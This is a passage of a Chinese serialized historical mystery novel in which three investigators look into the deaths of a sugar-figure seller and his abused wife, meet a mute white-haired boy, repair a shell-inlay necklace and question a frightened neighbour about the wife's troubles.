张志点点头,这才又开口道:“说是陵县霞锦阁的掌柜,勾结陵县典史与某些贪墨官员,企图私贩大漆,被人发现后逃出陵县,直奔昌县而来。还说……与她同行的,便是此次与沈无尽私下有往来的人。” “那人是谁?找出来让我拔了他的舌!”珊瑚一点就燃。冷萤还没来得及替自己叫屈,便开始控制起珊瑚暴怒的情绪。 方骅冷笑一声看了眼琴室外,才对张志说道:“张兄,你那几名探子,怕是要换一换了。” 点了点头,张志表现得很是郁闷道:“这探子跟了我好几年,我本从无一丝疑心的。但此次见了阿骅与这二位姑娘,便觉自己还是太过于轻信身边之人了。” “也许是背后的人太过于强大呢?”方骅暗示他。 张志心有余悸抿紧双唇,似在考虑他说的这句话,随后正想问什么,方骅又开了口:“此次陵县大漆案过于复杂,在这里不便多说。但张兄最好从此时开始,对身边所有人都要抱有一丝防备之心,包括我们。” 冷萤也赞同地点了点头,珊瑚则是将脸朝一旁看去,不想参与他们的谈话。 “这……”张志有些为难。 “所以,这次的命案我不会参与衙门调查,但也不会坐视不管。”方骅想了想,对张志道。 “那你是预备……?” “张兄无需对任何人透露我的行踪,就当我们是几位行商之人,出门做生意路过昌县罢了。”方骅告知。 “可以是可以……”张志颔首,随之又将目光转向黄二斤与刘百两,“但是他们……” “我今日眼瞎了。”黄二斤机灵地一转头,开始随便拿起什么东西,擦拭着琴室里并不存在的灰尘。 “我……我哥……”刘百两还想着为自家兄长申冤,在接触到方骅黑沉沉的双眼后,自动转开了话题:“那阮琴咋办?” 黄二斤正准备开口,在瞟了一眼冷萤后,又默默闭嘴。 “说起这个……”冷萤想起了一件事,看向黄二斤与刘百两道:“你俩身上的胶饴是否该说明一下。” 她话音刚落,黄二斤便放下捏着的东西,随手在裤腿处擦了擦手心的汗,嘴唇渐渐发白,“这就要……从我昨夜‘见鬼’说起了……” 第四十一章 琥珀藏(8) 他的一句话,让在场的气氛顿时陷入诡异当中。 “见鬼?”方骅问了句。 黄二斤点点头,表情骤然变得神秘起来,仿佛接下来说的话不能让太多人知道一般,他示意大家靠近他一些。 几人都配合地朝他走近了些…… 只是方骅皱了下眉头,不耐烦道:“大大方方地说,你再小声那鬼也听得见。”说完,硬犟在原地,不肯移动半步。 见在场脾气第二不好的人快要发飙了,黄二斤只得老实待在原地,乖乖讲起昨夜遇见的诡异之事。 他的左手,无意识地抚摸包裹着独眼的琥珀,右手捋了捋下颌上并不存在的胡须,开口道:“昨夜,我本是听从大人的吩咐,去将刘富贵家中那些人体琥珀悄悄偷拿出来的。” “结果……” 这黄掌柜讲话也是一惊一乍,还特意停在关键之处卖个关子。 珊瑚发现后慢慢抬起手指,对方瞄了一眼赶紧加快语速,“我偷溜进刘富贵与云清泠家中时,只看见刘富贵一个人躺在床榻上,仿佛早已熟睡。” “然后呢?我兄长那时还活着吗?”刘百两也被吸引了过来,神情紧张地问了句。 “你的兄长,那时身体至少还是完好无损,并未有你说得那些胶饴,或被烫至皮开肉绽的模样。至于是不是活着的……我好歹也算个贼,着实不敢靠得太近瞧哇!”黄二斤很是无奈地说了句。 “你也知自己是贼?居然还敢去我兄长家偷东西。”刘百两仿佛终于抓到了他的错处,理所当然地责问道。 “鬼呢?”方骅无甚耐心,没等黄二斤回嘴,便开口截断。 冷萤在旁瞧了他一眼,发觉他对这只“鬼”格外关注。 “马上来,马上来。”黄二斤声音隐约变得低沉,“随后,我便看见一个这么高的少年。”他抬手比了比,大约至珊瑚耳骨这般高,“从我身边一晃而过。” “少年?” “对,可恐怖了。这少年散着一头白发,身上的衣服也破破烂烂的。”黄二斤眼底浮起一丝恐惧,无心再故作神秘。 “散着发,你怎知就一定是一位少年?”珊瑚不解地问了句。 “当然知道。”黄二斤小声道:“我本来拿到琥珀准备直接就撤的,结果一转头,直接对上了一双白色的瞳孔,和那只鬼……少年打了个照面,给我吓得转身就跑了。” “白色瞳孔……”冷萤喃喃一句,随后好似想到了什么,默默点了点头。 “那少年,好像一直想抢我手中的琥珀,我拼死护着逃出了刘富贵的家,才侥幸保住了一命。”黄二斤抚了抚胸口,似乎到现在都还有些后怕。 “这就是你所说的“鬼”?方骅语气颇有些失望。 “难道不是么?那少年一看就不是正常人的模样,不是鬼还能是个啥?”黄二斤见他不信,开口反问道。 冷萤看向他,冷静道:“不管有鬼没鬼,黄掌柜还是没说清身上的胶饴是如何沾上的。” 经她提醒,黄二斤似才忽而想起自己正事还未说,不好意思道:“那……那少年会飞的。我躲他时,总感觉头顶有什么东西持续掉下来。当时情况太紧急,现在想来,那东西掉在我头顶时,还隐隐有些发烫呢。” 随之,他夸张地一拍手,凑近小声问众人:“你们说,当时我头顶上会不会……还藏着一个人或者鬼呢?” 微风将琴室的门吹动了,黄二斤在问完这句话后,琴室的大门忽而“吱呀”一响,在场的人都未被吓到,倒是刘百两被吓得大喊了一声。 “我……我也是……”他颤抖着声音,抬起惊恐不定的瞳孔,语意模糊地对众人道。 “什么意思?”张志不明白他为何会突然崩溃,上前疑惑地问了一句。 刘百两颤抖着手撩起自己的衣袖,抖动双唇道:“我昨夜去兄长家,也见他和衣躺在床榻上。还未完全走近,便突见梁上有什么一闪而过。我……我被吓得赶紧往外跑,回到家,才发现衣袖上也沾上了这东西。” “你半夜去你兄长家作甚?”珊瑚开口问道。 “梁上……”黄二斤喃喃自语,眼底的惊惧又开始蔓延。 刘百两被珊瑚问噎住了,磋磨了半天不见张嘴。 “快说!”珊瑚大喝一声,将刘百两吓得一抖。 “我……”他抬眼极快地瞄了众人一眼,又低下了头小声道:“去偷琥珀……” “呵!一个丑玩意儿,居然这么多人抢着要。”珊瑚听罢,发觉这些人活着简直太无聊。 “为何要偷你兄长的东西?”方骅问他。 心虚到不敢抬头,刘百两颤巍巍地伸出手,指着黄二斤手边的琥珀,“想偷我大嫂的眼睛。我听闻有一神医,就在离昌县不远处的山顶上。我想将大嫂的眼睛治好……” 众人愕然,谁也未曾想到,对方竟是因为这个原因。 终归是冷萤未忍住,问了出来:“既这般敬爱你大嫂,为何方才又要那样污蔑她?” 刘百两总算将头抬了起来,他瞧了黄二斤一眼没说话。 “不是,你看我干吗?都说了,我和云清泠之间清清白白!”他双眼一瞪,随后对另外几人说道:“我都懒得说,他那是敬爱吗?明明就是觊觎自家大嫂。” “你……你胡说!”刘百两不甚有底气地回了句。 “我胡说?云清泠每每过来弹琴时,你躲那巷口偷看,是以为别人都眼瞎了吗?”黄二斤一点面子都没给他留,一口气将他那点小心思全都抖了出来。 见自己的小心思居然被人给发现了,刘百两也不再隐瞒,开口道:“我兄长从未怜香惜玉过。云清泠自嫁过来,从来都是胆战心惊地过日子。但凡她有一点不顺我兄长的意,不是被打就是被骂。” 珊瑚气不过,插嘴道:“能不能找人把那刘富贵救活,让我再烫一遍?” 知她生气,冷萤安抚地捏了捏她的肩膀。 叹了口气,刘百两继续道:“我原本只是觉得她可怜,后来慢慢地……就有了别样的心思。谁知云清泠半点不理我,只日日往琴室跑,所以方才我才会那样口不择言……” “岂止口不择言,你那般说,完全就在破坏云清泠的清誉。”冷萤毫不客气地指出他的错误。 刘百两自知理亏,不敢再多说半个字。 “你们有没有发现,在他们的供词里,有个人一直未曾出现过吗?”方骅看向所有人,开口问道。 “大人是说……云清泠?”冷萤立即懂了他的意思。 第四十二章 琥珀藏(9) 张志也反应过来,朝那二人问道:“你们昨夜进入刘富贵家中时,没看见过云清泠?” 两人同时摇了摇头。 “相公在家中被杀,身为娘子的云清泠却不见踪影。甚至第二日,还如常出现在闹市中弹琴卖艺,你们不觉得很奇怪吗?”张志朝在场的另外几人问道。 “云清泠是逃难来此的,在昌县应该没有亲人。”冷萤分析,忽然她像是想到了什么,朝刘百两问道:“她在昌县可有至交好友?” 刘百两再次摇了摇头。 这样吗? 那云清泠的死,会不会也与昨夜发生的一切有关? 昨夜究竟……发生了什么?才会导致夫妇俩一先一后离奇死亡。 “阿骅,为兄要回官署了。今日之事我还得回去向知县禀明,这二人我要带回去问话,你们……” “张兄不必考虑我们,这昌县甚是热闹,我们正好去逛一逛。”方骅对他说道。 张志听罢,朝冷萤与珊瑚点了点头道:“那,各位自便!”说完,便让手下将黄二斤与刘百两带走,自己也告辞离开。 出了琴室大门,三人继续在昌县集市上逛着。 “冷姐姐,你觉得张志说话可信吗?”珊瑚挽着她,瞧着摊贩上的小玩意儿,有一句无一句地与她说着话。 “大人认为呢?”冷萤转头问方骅。 他俩是同年,自己并不了解张志这个人,所以不作评价。 方骅背着手走着,目光看向前方,想了许久才道:“万事留个心眼,总好过无端相信旁人。” 说完,他将目光移至珊瑚身上。 珊瑚见他看向自己,板着小脸问道:“看什么看?一个大男人天天盯着人家姑娘,知不知羞?” 方骅双眼倏然一闭,仿若实在没眼看,稍后将目光转至冷萤道:“还记得我说过的吗?有些人正不正常,不是从外表能瞧出的。” 冷萤很是无奈,这两人只要没外人在旁,抓着机会便要互嘲几句。 她从一开始当和事佬,到现在已经放手让他们任意发挥了。 “要去刘富贵和云清泠家中瞧瞧吗?”她想了想,开口问互瞪的两人。 方骅停下脚步轻扯嘴角,用眼神示意她们,“已经到了。” 不知是不是县衙已有人来过的原因,此时刘富贵门前静得出奇,并不像刚发生命案后的现场。 偶有人路过,也只是掩着面快速走开,不敢多停留半步。 几人推开房门,一股甜腻的气味直冲进几人的鼻腔。 一口大铜锅倒扣着摆在堂屋中,旁边散落着麦秸与一把铲子。炉子里还有未烧完的廉价木炭,这些应是刘富贵出门做生意需要的器具。 “这是……”冷萤从地上捡起一小块琥珀色的块状物。 珊瑚凑过来问道:“这不是硬掉的胶饴嘛,我认识。” “这不是胶饴。”冷萤站起身,举起手中赭黄色块状物给二人看,“胶饴冷却后里面会有大量气孔,这块没有。且这东西触感油滑,闻起来有蜜粉的淡香,并不似胶饴的甜腻气味。” “那这是啥?”珊瑚将东西将在手中,闻了闻。 “如果我没猜错,应该是黄蜡。”冷萤微微偏头,看向满地赭黄碎片,总感觉黄蜡这东西出现在此处,好似有些突兀。” 方骅听罢,低头看向地上如繁星一样大大小小的碎片,开口道:“这般说来,那地上这些,应该全都是黄蜡了。” “全都是?”珊瑚目光顺着地面扫视了一圈,惊讶道:“这得浪费多少银两?” 这就是冷萤想不明白的地方…… 一个卖糖人的小贩,还欠着高额印子钱,娘子都只能靠卖艺来贴补家用帮相公还债。 黄蜡此物,来源特殊,提炼过程更是复杂。现下已过了蜜蜂大量分泌蜂蜡的季节,一个寻常百姓,家中存放如此大量的黄蜡,本就不是一件寻常事。 “除非……”冷萤侧头想了想,说道:“这夫妇俩其中有一个,认识能大量接触到黄蜡的人。” “没错。”方骅点头,指了指卧房道:“或许,那里面会有答案。” 三人一走进卧房,看见的便是满榻的糖渍,和同样满地碎裂的黄蜡。 这两种平时并不会放在一起使用的物品,因为颜色相近,竟奇迹般地在这间房子中融为了一体。 冷萤仔细打量房中的摆设,发现一切都挺正常。如果不是那些碎裂黏腻的东西,这里看起来并不像才死过人。 “那是什么?”珊瑚突然手指着房梁,朝他们问道。 冷萤与方骅一同抬头看去,并未看见有任何东西。 见他们同时疑惑地看向自己,珊瑚碰了碰自己腰间,随后抬起右手,手中的弦丝直直射向角梁处。 她如同放风筝一般,扯着手中的弦线动了动,示意冷萤与方骅看向那处。 直到这时,他们才看清被珊瑚弦线扯着的一道银白色的光线。 “那是……”冷萤只觉有些眼熟,“琴弦?” 微微点头后,珊瑚这才收回自己放出去指引的弦丝。 “冷姐姐,你说琴弦怎会跑到角梁上去?”珊瑚不甚明白地问道。 冷萤也并不清楚。 “或许是拿来承重用的。”方骅说出了自己的想法,“琴弦的张力与韧劲,如果用来承受一般的小物体,还是可以做到的。” “如果是人呢?”冷萤想了想,随口问了句。 方骅与冷萤正分析案情,珊瑚在一旁安静听着,脚无意识踢着地上的黄蜡碎片玩。 一不小心,碎片突然被她踢飞至床底。她顺着看过去,却猛然发觉床底有暗影闪动了一瞬。 歪头看了眼身旁表情严肃的两人,她并未声张,而是脚步缓慢地行至床榻旁。 走动的同时,弦丝已随着她的动作出现在指间,蓄势待发。 那暗影晃动一次后,便再也没有任何动作。 难道……是她眼花了? 她双脚停在床边好一会儿,才不动声色地弯腰,一把拉开床帏。 在她还没来得及看清时,一张毫无血色的惨白面容一下子撞进她的眼帘,差点与她脸贴脸。 迅速拉远距离,珊瑚这才看见一个白发、白肤、白瞳的少年朝自己袭来。 好在她反应极快,侧身一闪…… 那道白影便顺势直冲冷萤与方骅而去。 混乱间,回过神的冷萤,只看见一对白色的眼瞳在她眼前放大,扩散。 “冷姐姐,小心!” 第四十三章 琥珀藏(10) 珊瑚担心地大喊声,与白瞳主人的身影一起到来。 冷萤还未来得及躲开,就见一披头散发的白发少年,硬生生停在了半空中,与自己只有一臂的距离。 那少年的肤色白到透明,五官立体,深邃的眼眶里有一双灰白的眸子。 他发丝纷飞,桀骜不驯地朝他们呲牙咧嘴,身子却怎么也无法朝冷萤移动分毫。 微微侧身,冷萤看了眼少年身后。 只见,珊瑚正表情焦急地伸长双臂,手指不停晃动着,试图控制住那少年的力量。 “方骅,你睡着了吗?扇他啊!”珊瑚见方骅收回折扇,压根没准备帮她,愤怒地嚷了一声。 “这孩子……”冷萤看向白发少年,有些犹豫要不要动手。 很明显,他便是黄二斤口中所说的那只“鬼”了。 只是…… 冷萤瞧了眼少年的穿着,上衣东破一个洞,西挂一条布便算了,下身的裤腿居然有一边的裤脚还被扯断了,露出他白到不正常的小腿。 虽说现下并不冷,但这穿着确实有些“清凉”。 她想,方骅应该也是见着这少年的穿着打扮,刚刚才选择没有着急动手的。 少年身后的珊瑚,似乎也发现他们不太对,不停晃动着的手指慢慢停了下来。 在那少年还未反应过来时,只听见“砰”的一声,因为不受力,他整个人滞空了一瞬,下一刻便倏地摔在了地上。 一般人这样硬生生地摔下去,少说也得缓一缓再起身。 这少年却不一样,身体刚碰着地面,便矫健地一跃而起,仿佛不知道疼一般。 见他站起身后并未再攻击他们,眼神虽带着畏惧,但更多的是不屈。 冷萤问道:“你是谁,为何潜伏在刘富贵家中?” 少年没有回她的话,瞪着一双灰白眼球在她与方骅之间来回扫视,仿佛也在打量他们。 珊瑚走上前,对冷萤道:“冷姐姐你无须对他客气,要小心他突然袭击。” 冷萤点点头,再次问那少年:“你是刘家人?” 少年眼中的防备并未减弱半分,但好歹是朝几人摇了摇头。 “那为何无事要趴在人家床底下?”方骅观察了他好久,才开口问道。 令人尴尬的一幕发生了,或许因为方骅本身的气势太足,那少年不仅没有理会他的问话,甚至连眼风都没有给半缕。 “你……”方骅见状,上前一步准备再次开口。 这时的冷萤,终于发现了少年的不对劲。 她拉住方骅,状似无意地小声道:“这少年似乎不会讲话。” “什么?”珊瑚在冷萤说话时,便悄悄凑过来偷听了。 她刚一听反应有些大,顷刻便发觉这样不太好,又压低声音道:“难怪他一直不理人。” 方骅再朝那少年说话时,声音不似方才那般冷硬,“你可以听见吗?” 少年依旧不理他。 直到冷萤又将方骅的问话重复了一遍,那少年才看向冷萤,点了点头。 方骅见状神色微微下沉,冷萤对着他很是无奈地耸了耸肩,“没办法……”谁让他总板着一张脸呢? 见她有些得意的模样,方骅微勾唇,冷笑一声道:“小孩而已,我才不会与他一般见识。”随后别扭地朝她道:“你问问这小孩,为何会在此处。” 冷萤点头,将目光转向眼前的少年。 见他一脸不惧地瞪着他们,身上所穿的衣裳没有一处干净的地方,心里想着他应该不是昌县本地人。 慢慢地,她将目光转向少年的脖颈处。 这是…… 半遮半掩在衣襟下的东西,吸引了她的注意力。 “方骅、珊瑚,控制住他!”冷萤突然开口。 另外两人也非常配合,她话音刚落,那少年已经被缠得满身都是弦丝了。对方正奋力挣扎,一把流光溢彩的折扇挡在了他眼前。 见少年已被完全控制住,冷萤这才放心朝他下手。 在不触碰到对方身体的情况下,冷萤小心地将少年脖颈上挂着的东西拿出,仔细瞧了瞧,这才惊艳道:“居然是西域的七宝璎珞!” 这七宝璎珞价值不菲,更何况这少年所佩戴的更是珍品中的翘楚。冷萤见用七彩宝石串起的璎珞下,还垂着一块螺钿镶嵌的忍冬花纹样吊坠。 只是忍冬花藤上好似有一处破损,让原本对饰物就格外敏感冷萤,第一眼便发现了这处小瑕疵。 一旦这处小瑕疵让人瞧见,整条璎珞看起来都没那般亮眼了。 “呜呜呜……”少年见冷萤碰了自己脖间的璎珞,表情开始变得极度恐慌,嘴里也不停地发出奇怪的声音。 见他反应如此激烈,冷萤猜想这条璎珞应该对他很重要。 于是她收回手,诚恳地看向少年,对他说道:“对不起,擅自碰了你的东西。但我是一名匠师,如果你愿意相信,我可以帮你将这条璎珞修复好。” 情绪已经完全染上怒火的少年,自然听不进她说的任何话。 他抬起未被束缚的右腿,使出全身力气想朝冷萤踢去,瞬间便被方骅控制在原地。 “我真的没有恶意。这条璎珞,应是对你十分重要的人送的吧?难道,你不想让它恢复到最初的亮丽吗?” 冷萤自小便得了一种“病”,见不得那些华美的饰品与摆件上有瑕疵。如若让她瞧见,她必定会想方设法将那东西修复好。 许是因为她语气格外真诚,冷萤眼见原本像只白毛斗鸡一般的少年,慢慢不再那样暴躁了。 他放下高耸着的肩膀,被气到飞起的额发也稍稍塌了些。冷萤这才慢慢伸出手,试探性地朝他颈间探去。 虽那少年不再气势汹汹,但在冷萤的手快要接触到他脖颈时,方骅突然开口:“我来!”随即手一扫,那条璎珞便出现在他手中。 原本安静的少年,察觉到方骅的动作,气愤地对着他龇了龇牙。 眼见对方额间那几根白毛又要竖起,冷萤眼疾手快地将璎珞自方骅手中接过,然后举起说了句:“很快的,稍等片刻。” 那少年这才泄了气,任由珊瑚将他束缚住。 他的目光从不敢与冷萤对视,到渐渐被她的手法所吸引,最后竟看入了神。 第四十四章 琥珀藏(11) 冷萤从自己随身背的包中,精挑细选了一块已打磨成薄片的夜光螺片。 随后拿出刻刀,没有临摹便手法娴熟地拉出忍冬花藤的轮廓。 “冷姐姐,这么细的花藤,你随意划两下便初绘其形,手法也利落了吧?”珊瑚见那少年看得极为认真,便悄悄收回弦线,蹲到冷萤身边双手托腮地随意赞了句。 冷萤眼未动,手未偏,只含笑道:“对手艺人来说,这只是浅层的手法。我相信,换作任何一位用过心的手艺人,图样再繁复些也是不在话下的。” 珊瑚似懂非懂地点了点头,开始一边欣赏,一边玩起了自己的发尾。 倒是那少年,白色的眼瞳随着冷萤的手指翻飞,见一根细细的铜丝被她灵巧地运用自如,还有那薄薄的砂纸居然可以将螺片打磨得如此光滑,狠厉的表情居然表现出几分惊奇。 方骅的目光一直放在冷萤身上,直到他余光察觉到那白发少年动了动,立刻警觉地看过去,才发现对方只是看得太过投入,慢慢蹲至冷萤身边。 “想试试吗?”冷萤抬头看了一眼问道。 发现那少年与自己视线接触的下一瞬,便飞快撤离了目光,随后极快地朝她摇了摇头。 冷萤也不强求,虽说螺钿打磨讲究慢工出细活,但那条璎珞破损并不大,不一会儿,她便将打磨好的螺片镶嵌至破损处。 还顺带将整条璎珞擦得锃亮。 再次将璎珞还至白发少年手上时,那忍冬花吊坠上已看不出任何破损,整个焕然一新。 少年双手接过璎珞,小心翼翼地举起仔细瞧着。那忍冬花上的璀璨荧光被日光一照,径直反射到那少年的白瞳上,直晃得他下意识闭了闭眼。 冷萤正想问他是否满意,那少年垂下目光,从自己破破烂烂的兜里掏出一个物件儿递给了她。 “这是……” 冷萤只觉手中一凉,还来不及看对方递给她什么,那少年便趁几人不注意,两脚一蹬瞬间消失在了几人面前。 少年的速度之快,连方骅一个习武之人都未瞧清他是从哪处离开的,人便没了踪影。 手上的东西微凉,冷萤低头看了眼,发现是用青竹做成的一条小蛇。小蛇活灵活现地在她手中摇头摆尾,企图吓唬几人。 可惜,在场的三人没一个胆小的。冷萤更是将竹雕蛇提起,晃动一下蛇身,让它的尾巴摆动得更加灵活。 “这少年的手挺巧的。”她赞了句。 “是挺巧的。”方骅应了声,随后道:“不过也洗脱不了他的嫌疑。” 冷萤仔细瞧着手中的竹雕蛇,发现其中有一连接处并不太灵活,若有所思地应道:“你说得没错。你们看……” 她随手取下发簪,朝那条竹雕蛇的某个连接处戳了戳。 忽而,一小块赭色的巢丝掉入她手掌心。 “这是……”珊瑚眯着眼睛看了好半晌,随即侧过头睁大眼睛看向冷萤:“什么?” 冷萤用另一只手摸了摸她毛茸茸的脑袋,告诉她:“这是蜂巢的一部分,但应该是被熬煮过的蜂巢。” “你怎知是被熬煮过的?”方骅不甚明白地问了句。 见两人均一脸不明,冷萤指着满地的黄蜡对他们道:“这些黄蜡,便是用蜂巢熬制而成。” 将手中的黄蜡捏开,她继续为他们解惑:“将蜂巢加热,待里面的原料融化后,再搅拌过滤杂质,等其凝固便是黄蜡了。这条竹雕蛇上的蜂巢残留,应是熬制蜂巢时沾上的,所以颜色看起来才会格外深一些。” “原来如此……”珊瑚也不知听明白了没,胡乱点了个头道:“可是,我总觉得那少年看起来并不像坏人。” 看着她懵懂的模样,冷萤淡笑道:“不要太快下结论,外表不能当成评判一个人好坏的标准。当然,我也希望他不是。” “是啊……”方骅将目光转向珊瑚,面无表情地开口道:“看人不能只看表面。” “看,方大人也这么说。”冷萤再次向她强调事情的严重性。 珊瑚将脸转至别处,表示不接受方骅的劝导。 见对方拒绝与他们谈话,冷萤轻笑一声转移话题:“那接下来怎么做?” 方骅环顾四周,说道:“刘富贵尸体已被抬走,这房间应该也查不出什么了。不如,我们先去找落脚处休息一下?” “大人,你可以去官驿,我和珊瑚另找地方歇脚就行。”冷萤盘算着。 毕竟出门在外,还需得控制银钱的用度。 却见对方摇了摇头,对她道:“不去馆驿了,还是谨慎些吧。昌县的水并没有比陵县的更清。如要泥而不滓,还需敬而远之。” “那大人的意思是?”冷萤问。 几人朝门外走去,方骅替两位姑娘开门,顺嘴回道:“我已让陈全在昌县找好客栈。放心,宿费我出。” “那就多谢大人了!”冷萤倒是一点不客气,笑眯眯地开口道谢。 走出大门,看着外面依旧毒辣的日头,珊瑚开始不停晃动冷萤的胳膊,嚷着要去吃冰酪。 见她另一只手攥着袖子不停扇着风,冷萤本想拿出手帕替她擦汗,无意间一眼,竟自珊瑚翻飞的衣袖处,看见东南方墙角边居然躲着一个人。 “大人。”冷萤朝方骅那处移动了两步,小声提醒。 见她行事谨慎,方骅未动声色地靠近她,便听见她说:“可能又要辛苦陈全了。”说完,她装作给珊瑚擦汗,顺带用手指了指墙角处。 一旁的珊瑚本是发现了不对劲的,但见冷萤拿着手帕朝自己伸过来,她满脸信任地用脸接着,结果对方只是拿着手帕胡乱在她脸上抹了两下,便又收了回去。 “冷姐姐!”珊瑚即将发作,却见冷萤与方骅一同看向她,才明白自己方才那一瞬间的感觉并不是空穴来风。 见那人又悄悄从墙后探出一点脑袋,方骅漫不经心地点了下头,陈全下一瞬便站在了那人身前。 “啊呀……” 那人似乎被吓到了,还未等陈全开始动手,便扯着嗓子大叫了起来。 那嗓音柔弱又纤细,分明是一位女子的声音。 第四十五章 琥珀藏(12) “壮汉,别……别杀我,妾身只是路过而已……” 陈全看着他以为的土匪,居然是一位穿着素净的妇人,有些犹豫要不要上前将她压住。 这时,冷萤走上前来。 陈全见状,立刻闪身走开,一眨眼的工夫人就不见了。 “这位娘子,躲在此处是为何?” 那妇人方才被陈全粗犷的气势吓到一屁股坐在了地上,冷萤见状上前轻手扶起她,待对方站稳后,方才轻声问道。 “我……”妇人目光闪躲着,不肯看向他们。 珊瑚见状,娇声喝道:“快说,不然他会对你动手的哦。”说着,她指了指站在一旁的方骅。 无端被扯进来的方骅并未开口,冷冷的目光看向珊瑚,直看得她慢慢移到了冷萤身后。 见那妇人被珊瑚的一句话吓得缩了回去,躲着所有人,冷萤无奈开口道:“小姑娘爱说笑,娘子不要见怪。” “你……”见眼前几位并不像坏人,妇人思索片刻结结巴巴地开口:“你们是谁?怎么会从阿泠家中走出?她相公的尸体刚被县衙的人抬了出去,你……你们就出现了,这……这也太巧了吧?” 这妇人虽一句话说得磕磕巴巴,对几人格外忌惮的样子。但表达的意思,冷萤也算是听明白了。 于是,她摆出自认为最平和的表情,轻声问道:“娘子与云清泠的关系似乎不错,是来此处寻她的吗?” 妇人重新抬眼看了她一瞬,又垂眸无声地点了点头。 冷萤见对方穿着并不华丽,发间的装饰也只有一支银簪,整个人看起来柔柔弱弱,仿佛与他们说了几句话,就已失去了全身的力气。 那她要不要将云清泠已死之事,告知给这位妇人呢? 关系一般的人,如果得知这家死了人,必定会先躲得远远的。而这妇人胆子这般小,还敢独身前来,从侧面说明了她与云清泠的关系肯定是不错的。 就当冷萤考虑,要不要将云清泠死亡之事告知对方时。 那妇人见了冷萤的神色,原本楚楚可怜的眼眸里闪过几丝悲哀,随后问道:“阿泠她,是不是出事了?” 冷萤有些意外地看向对方,见她不再躲闪自己的目光,眼底并不全是柔弱,还有想知道好友状况的坚持,冷萤只得轻轻点了点头。 “发生什么了吗?方……方才我听见隔壁的阿婆回来说什么……云娘子摔倒。是不是她真遇见什么事了?”那妇人一听好友出事,情绪顿时激动了起来。 “云清泠,她刚死在琴室门口了。”毫无波澜的男声从冷萤背后传来,不用猜她便知道是那位铁面无私的方大人。 “什么?阿泠她……死了?”那妇人倏然揪住冷萤的袖口,扯着她的衣袖不可置信地问道。 “哎呀……”珊瑚上前,用力将两人分开,“你扯冷姐姐干吗,力气很大耶!” “没事的,不要紧。”冷萤示意珊瑚自己无碍,顺势走上前拉住瞬间慌乱的妇人。 被冷萤温热双手拉住的人,眼底的泪水顷刻而出,嘴里喃喃地念道:“我就知道……我就知道总有一天要出大事的。阿泠她,早些听我的就好了。早些听我的……” “为何会出大事?”冷萤抓住了她话里的重点,抢先问道。 那柔弱的妇人,一只手抚向胸口,仿佛是在强迫自己平复心情。 冷萤也不急着追问,见她情绪恢复一些后,又才问道:“娘子说的,是刘富贵动手打云清泠之事吗?” 妇人眼神微微诧异,似乎想不明白他们为何会知道这等秘事,接着开口道:“两位小姐,还有这位公子。妾身姓周,与阿泠因琴相识,只不过妾身喜古琴,阿泠却独爱阮琴。” “阿泠她,只有在弹琴时,才会忘记自己所受的痛苦……”周娘子说起云清泠时,表情是怜惜的。 珊瑚实在不懂她们是怎么想的,开口问道:“那她为什么不逃?” “怎么逃?”周娘子抬眼看向她,眼神不再畏惧,变为深深地悲痛,“她孤苦无依地离开家乡,刚到昌县便生了病。若不是刘富贵出手相助,请人为她治病,只怕她早就死在了昌县城门外的一个角落里了。” “这和她离开刘富贵有什么关系?”珊瑚还是觉得很是不懂。 “这位小姐你不明白。阿泠自小家教严谨,断做不出忘恩负义之事。”周娘子见对方是位小姑娘,大约不明白她们的无奈,只好解释道。 珊瑚虽还是不懂,但示意她继续说下去。 周娘子点头继续道:“刘富贵求娶阿泠时,她虽然并不喜欢他,但想着自身没什么能报答人家的,便也无奈答应了。所以,单单为了报恩,阿泠便不会选择离开。” 虽然有些理解周娘子话中的意思,但珊瑚还是觉得这做法有些奇怪,“可那个男人都动手了,再谈报恩,是否显得太过迂腐了。” “小姐说得也没错。”周娘子叹了口气道:“起初阿泠是想,一个能对落魄之人伸出援手的人,会有多坏呢?所以在刘富贵前几次动手时,她都选择原谅了他。” “原谅一次,就是给了对方无数次施暴的机会。”冷萤忍不住,开口说了句。 周娘子看着她,沉重地点了点头,“是的,后来刘富贵下手一次比一次更狠。有好几次阿泠被打得受不住偷跑到我这里,被找回去后又继续挨打。我好几次都想帮忙,却被我家那位拦了回去。妾身力量单薄,实在无法突破阻碍相助……” 看着无能为力的周娘子,冷萤眼前浮现那日惊鸿一瞥,便让她惊艳许久的碧衣女子。 她也终于明白,为何那阮琴之音再婉转起伏,云清泠也无法沉醉其中。 原来她自己……早已生活在无法言说的苦难里。所奏出的琴音再美,也感染不了自己半分。 “如果……” 周娘子轻轻开口,姿态虽柔,但抬起的双眼里满是坚韧。 尔后,她轻声说了句:“那日在城墙外的墙角下,是我遇到生病的阿泠,她便不会遭受那些苦难了……” 第四十六章 琥珀藏(13) “难道就没人管吗?任由那个天杀的犯下这样的重罪?” 听周娘子讲述的珊瑚,越来越气愤,没有地方发泄的她,竟气得用弦丝将刘富贵屋顶的瓦片扫落了一整片下来。 “珊瑚,不要冲动!”冷萤挡住她的行为,随后冷笑一声道:“刘富贵死得那般惨,相信早就有人看不过眼了。” “哼!”方骅哼了一声,道:“对于他做的这些事,这种死法真是便宜他了。” 虽然冷萤也很是赞同方骅的话,但以他的身份,这样毫无顾忌在大庭广众之下,说出如此偏激的话,她都来不及拦下。 周娘子看了眼被珊瑚扫落的瓦片,遗憾说道:“都怪妾身胆子太小。如果,我当时能再勇敢一点,或许……” “云清泠昨夜到你家时,是怎样的状态。”见对方黯然神伤,冷萤实在不知如何安慰,便开口问起昨夜发生的事情。 “昨夜……”对方听她如此问,原本黯然的神色陡然变得愤怒。 因为哽咽,她说起话来有些断断续续,“阿泠……她来找我时,是我男人开的门。见她前来,我男人让她进屋后,便直接出了门。” “你男人为何要出去?”查案的习惯,让方骅随口问了句。 周娘子咬了咬唇,才回道:“他要去告诉刘富贵,阿泠在我们家。”无奈摇了摇头,她继续道:“他每次都是这样,我们吵也吵过,闹也闹过……” “他是有什么毛病吗?”珊瑚气不过,当着人家媳妇的面啐了句。 冷萤也是忍不住叹了口气,“你男人和刘富贵的关系很好?” 对方摇摇头,答:“赌场认识的酒肉朋友罢了。他每次都说要帮自己友人,刘富贵算什么好友啊?自我男人认识了他,家里被败光了不说,还欠下一屁股的债还不上。连……妾身的嫁妆都被他抢去输光了。” “他是不是也对你动手?”冷萤沉下脸,问周娘子。 过了好半晌,她才艰难地点点头,朝几人道:“本是家丑不可外扬,但他自从赌博后就像变了个人。日日与那刘富贵混在一起,我怎么拦都拦不住。” “你男人在哪里?我现在就去帮你打死他!”珊瑚气得挽起了袖子,二话不说就要赶去周娘子的家。 